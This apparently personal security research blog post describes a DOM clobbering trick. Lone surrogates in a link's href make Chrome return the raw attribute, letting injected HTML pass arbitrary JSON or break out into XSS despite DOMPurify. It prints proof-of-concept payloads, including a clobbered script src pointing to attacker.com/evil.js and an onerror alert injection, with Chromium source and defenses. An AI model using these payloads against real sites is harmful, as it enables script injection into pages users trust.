Clobbering the Impossible with Surrogates
Lately, I've been using AI quite a lot to rice up my desktop environment, because I've always felt that if you want to work better, you need an environment that suits you and feels good to work in. So basically, I've been having fun "vibe ricing" and it's been pretty successful. The last ricing I did was a custom theme for Obsidian, which is where I usually write my notes, so while I was waiting for the AI to generate the beautiful theme, I was reading some old notes of mine.
One of those notes was a trick on how you can introduce valid JSON via DOM clobbering by using the <base> tag, which inspired this research and, in the end, led me to discover a new DOM clobbering trick to clobber things that seem impossible to clobber, like valid JSON, or URLs that break out of an HTML attribute. Let's get started!
Note: This research was based on a CTF challenge called Splash Studio from FCSC 2026, made by the researcher @kevin_mizu. Definitely check his work out! You can find the full writeup of the challenge here, which also covers other fun quirks, so yeah, check that out too.
The Beauty and the Problem
DOM clobbering is possible when we have an HTML injection and we want to potentially escalate when we're limited in the HTML we can insert, for example, because our input goes through a sanitizer like DOMPurify.
Every element with an id becomes a global variable, so our HTML can overwrite variables that the page's JavaScript reads. A classic example is a page that loads a script from a config that may not exist:
const script = document.createElement("script");
script.src = window.config || "/static/default.js";
document.body.append(script);
<a id=config href="https://attacker.com/evil.js"></a>
Now window.config is our <a> and when the page turns an <a> into a string it gets the href attribute value, so now script.src becomes https://attacker.com/evil.js.
But this trick becomes a problem if the page expects JSON instead. JSON.parse also turns our <a> into a string, but the href is not the attribute as we wrote it, it's the attribute parsed as a URL. To the browser our JSON is just a relative URL so it gets resolved against the page URL and gets URL encoded.
document.body.innerHTML = `
<a id=x href='{"y":"valid_json"}'></a>
`
document.getElementById("x").href
JSON.parse(document.getElementById("x").href)
// 'https://castilho.sh/%7B%22y%22:%22valid_json%22%7D'
// Uncaught SyntaxError: Unexpected token 'h' ...
Valid JSON via Opaque URL
Kevin found a way around this in his Splash Studio challenge. He discovered that by inserting a <base> tag with an opaque URL, for example x:x, a relative URL can't be resolved against a base that has an opaque path, so the URL parsing fails and the href getter just returns the attribute exactly as you wrote it, which is valid JSON:

document.body.innerHTML = `
<base href="x:x">
<a id=x href='{"y":"valid_json"}'></a>
`
document.getElementById("x").href
// '{"y":"valid_json"}'
Note: You can find the full explanation in his writeup.
This trick expands the attack surface of DOM clobbering, because we can now feed arbitrary JSON into JSON.parse sinks, and whatever the page does with that object afterwards could lead to other vulnerabilities. That's really cool.
However, my concern was that it needs a <base> tag in the page, and DOMPurify removes <base> by default. In Splash Studio, DOMPurify ran on the server with JSDOM, so Kevin could smuggle the <base> inside an attribute value with a trick of inserting a Kelvin sign (K) in the tag name to fool DOMPurify's tag check, and JSDOM doesn't encode < and > when it serializes the attribute.
But, in a normal page that runs DOMPurify.sanitize in the browser, this doesn't work, because the browser does encode < and >, so the string DOMPurify returns keeps our <a> but not our <base>. Other then that, pages whose CSP sets base-uri ignore our <base> anyway. So, reading the note again, I started to wonder if there's another way to get the same result but only with the <a> tag.
Valid JSON via Surrogate
So, my idea was to simply fuzz the href attribute inside the <a> tag to find a value that breaks the URL href parser and is returned as text. In order to do that, I just opened my DevTools and made a loop from 0 to 0xffff to find a potential char that breaks the URL parsing and feed it to JSON.parse to check if the fuzzed value is returned as valid JSON.

for (let i = 0; i <= 0xffff; i++) {
document.body.innerHTML = `<a id=x href='{"a":"${String.fromCharCode(i)}"}'></a>`;
try {
JSON.parse(document.getElementById("x"));
console.log(`Found ${i.toString(16)}`)
} catch {}
}
// Found d800
// Found d801
// Found d802
// ...
// Found dfff
Surprisingly, this worked! I found out that the code units from 0xd800 to 0xdfff break the URL parsing of the href. How interesting, but what exactly are these code units ?
Unicode surrogates
Every character in the world has its own number in a table called Unicode. For example, A is U+0041 and 😀 is U+1F600 .
JavaScript stores text in little boxes called code units, and the biggest number one box can hold is 0xffff. For A that's more than enough, but 😀 is U+1F600, which doesn't fit in one box. So JavaScript splits it into two boxes, using numbers that Unicode reserved only for this job, called surrogates:
- a high surrogate goes from
0xd800to0xdbff - a low surrogate goes from
0xdc00to0xdfff
On their own, these numbers aren't any character, they're part of a pair that makes a character. That's why JavaScript says the emoji has a length of 2:
"A".length; // 1
"😀".length; // 2, because it's "\ud83d" + "\ude00"
Now, if you keep only one of the halves, you get a lone surrogate, basically half a character. In a URL, the browser has to turn it into bytes using UTF-8, and UTF-8 has bytes for every real character, but not for half of one aka surrogate. So browsers only have 2 options which are to replace it with U+FFFD (the � character you sometimes see on broken websites) or report a failure:
From my tests, Firefox and Safari both replace it with U+FFFD ( � ), however, Chrome's URL parser reports the failure, making the URL invalid and just like with the <base> trick, the href getter returns the attribute as we wrote it.

const a = document.createElement("a");
const b = document.createElement("a");
a.setAttribute("href", '{"a":1}');
b.setAttribute("href", '{"a":1,"z":"\ud800"}');
console.log(a.href); // https://castilho.sh/%7B%22a%22:1%7D
console.log(b.href); // {"a":1,"z":"�"} the console draws the half as �
JSON.parse(b.href); // {a: 1, z: '\ud800'}
Note: This only works if the surrogate comes from JavaScript, because raw HTML reaches the browser as UTF-8 bytes, which can't hold half a character, so we just get U+FFFD. However, this is not a niche situation. Here are some real-world cases I can remember where this happens:
- JSON APIs - comments, posts and search results often come back inside JSON, fetched with
r.json()and rendered withinnerHTML. - WebSocket Messages - chat and notification apps receive JSON frames, run
JSON.parse(event.data)and render the HTML. - PostMessages - widgets and embedded iframes send data between windows with
postMessage, which copies JavaScript strings so a handler doingel.innerHTML = e.data.htmlgets the real half without any decoding.
What else can we do
Another thing you can do is clobber URLs. Imagine a page that reads a URL from an element, like an avatar link, checks that it points to its own CDN, and writes it into an <img> built as a string:
const { default: DOMPurify } = await import("https://cdn.jsdelivr.net/npm/dompurify@latest/+esm");
// our HTML sanitized by the page
const html = "<a id=avatar href='https://cdn.site.com/\ud800\" onerror=\"alert(1)'>";
document.body.innerHTML = DOMPurify.sanitize(html);
// the pages code
const url = document.getElementById("avatar").href;
const purl = new URL(url);
if (purl.protocol === "https:" && purl.hostname === "cdn.site.com") {
document.body.innerHTML = `<img src="${url}">`; // XSS
}
Without the surrogate, this code is safe. Reading .href runs the URL parser on our attribute, and the parser percent-encodes " in the path, so the page gets https://cdn.site.com/%22%20onerror=%22alert(1) and the payload stays stuck inside the src. However, with the half surrogate in the path, Chromium can't convert the path to UTF-8 and .href falls back to the attribute as we wrote it, thus escaping the src quote and firing our XSS.
Maybe you're wondering "wouldn't new URL() fail to parse that half surrogate ?" and the answer is no, because new URL() takes a USVString, which can only hold complete characters, so the browser replaces the half surrogate with U+FFFD before parsing and thus gets a valid URL. The problem only happens when reading .href because the attribute keeps the half as it is.

Chrome Behaviour
I was curious why Chrome has this behaviour, so I asked my friend Astra to guide me through the Chrome source code so I could understand better what was going on and why it's the only browser compared to Safari and Firefox that does this.
So what happens is, when the page reads .href, Chrome parses our attribute as a URL, and to do that, it has to turn the text into UTF-8 bytes, one character at a time.
File - url/url_canon_internal.cc:
bool ReadUtfCharLossy(std::u16string_view str,
size_t* begin,
base_icu::UChar32* code_point_out) {
if (!base::ReadUnicodeCharacter(str, begin, code_point_out)) {
*code_point_out = kUnicodeReplacementCharacter; // writes U+FFFD
return false; // reports failure
}
return true;
}
When it reads a lone surrogate, Chrome does the same as Safari and Firefox and replaces it with U+FFFD, but it also returns false, meaning the conversion failed. Safari and Firefox just keep going with the U+FFFD, so that return false is the whole difference. Going up the call chain, ReadUtfCharLossy is called by AppendUtf8EscapedChar, in url/url_canon_internal.h which is what the path code uses to write every non-ASCII character:
inline bool AppendUtf8EscapedChar(std::u16string_view str,
size_t* begin,
CanonOutput* output) {
base_icu::UChar32 char_value;
bool success = ReadUtfCharLossy(str, begin, &char_value);
AppendUtf8EscapedValue(char_value, output);
return success; // false because of our half
}
Then the path code, in url/url_canon_path.cc, collects that false, meaning that in the end one surrogate is enough to fail the whole path, making the URL invalid :
bool success = true;
for (size_t i = 0; i < path_value.size(); i++) {
…
success &= AppendUtf8EscapedChar(path_value, &i, output); // false so the path fails
Defense
There are two ways I could think of to defend against this primitive :
- By using
isWellFormed(), which tells you if a string has a lone surrogate, andtoWellFormed(), which replaces it withU+FFFD - DOMPurify's
SANITIZE_NAMED_PROPSoption also stops it, because it addsuser-content-to everyidandname
// replace any lone surrogates with U+FFFD before sanitizing
el.innerHTML = DOMPurify.sanitize(html.toWellFormed());
// or check if it contains a lone surrogate
if (!html.isWellFormed()) throw new Error("lone surrogate");
// or stop the DOM clobbering itself
el.innerHTML = DOMPurify.sanitize(html, { SANITIZE_NAMED_PROPS: true });
Note: SANITIZE_NAMED_PROPS is off by default though, so most pages using DOMPurify are still exposed.
Final Notes
// clobbering JSON
el.innerHTML = `<a id=x href='{"a":1,"z":"\ud800"}'>`;
// clobbering URLs
el.innerHTML = `<a id=y href='https://TRUSTED_DOMAIN/\ud800" onerror="alert(1)'>`;
In this research, we found a new DOM clobbering trick that we attackers can use to increase our attack surface, maybe achieving an XSS or something else. A shoutout to Kevin, whose work inspired this research. And that's how it goes, we keep researching, we publish stuff, we get inspired by others in the community and our arsenal of cool tricks keeps growing.
Thank you so much for reading this research, hope you enjoyed it, and have a good rest of your day :)